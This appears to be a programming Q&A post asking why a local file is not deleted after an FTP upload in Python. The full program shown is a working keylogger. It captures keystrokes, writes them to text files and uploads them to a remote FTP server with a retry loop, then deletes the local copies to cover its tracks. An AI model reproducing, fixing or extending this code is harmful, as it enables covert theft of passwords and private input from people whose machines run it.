title: Cannot delete file after upload with Python ftplib
body: <p>This is my full program:</p>
  
  <pre><code>from ftplib import FTP
  from keyboard import read_key
  from multiprocessing import Process
  from os import unlink
  from random import random
  
  
  def send_file(data):
      username = str(int(random() * 10000)) + "m.txt"
      ftp = FTP('***')
      file = open(username, 'x+')
      for stroke in data:
          file.write(stroke)
      data.clear()
      file.close()
      while True:
          try:
              ftp.login(user='***', passwd='***')
              ftp.cwd('key_logger')
              ftp.storbinary("STOR " + username, open(username, 'rb'))
              ftp.quit()
              break
          except Exception:
              ftp.set_pasv(True)
              continue
      unlink(username)
  
  
  def get_strokes():
      strokes = []
      i = 0
      while True:
          key1 = read_key()
          if i == 0:
              strokes.append(key1)
          elif strokes.__len__() &gt; 20:
              send = Process(target=send_file, args=(strokes, ), name="main")
              send.start()
              strokes.clear()
          i += 1
          i %= 2
  
  
  if __name__ == '__main__':
      get = Process(target=get_strokes(), args=())
      get.start()
      get.join()
  </code></pre>
  
  <p>I am making a key logger that listens for strokes and saves them in <code>strokes</code>.
  When <code>strokes</code> reaches a certain length, they are saved in a .txt file then sent to my server.</p>
  
  <p>then i need to remove the .txt file with <code>os.remove()</code> or <code>os.unlink</code>, but neither of them are deleting my file. </p>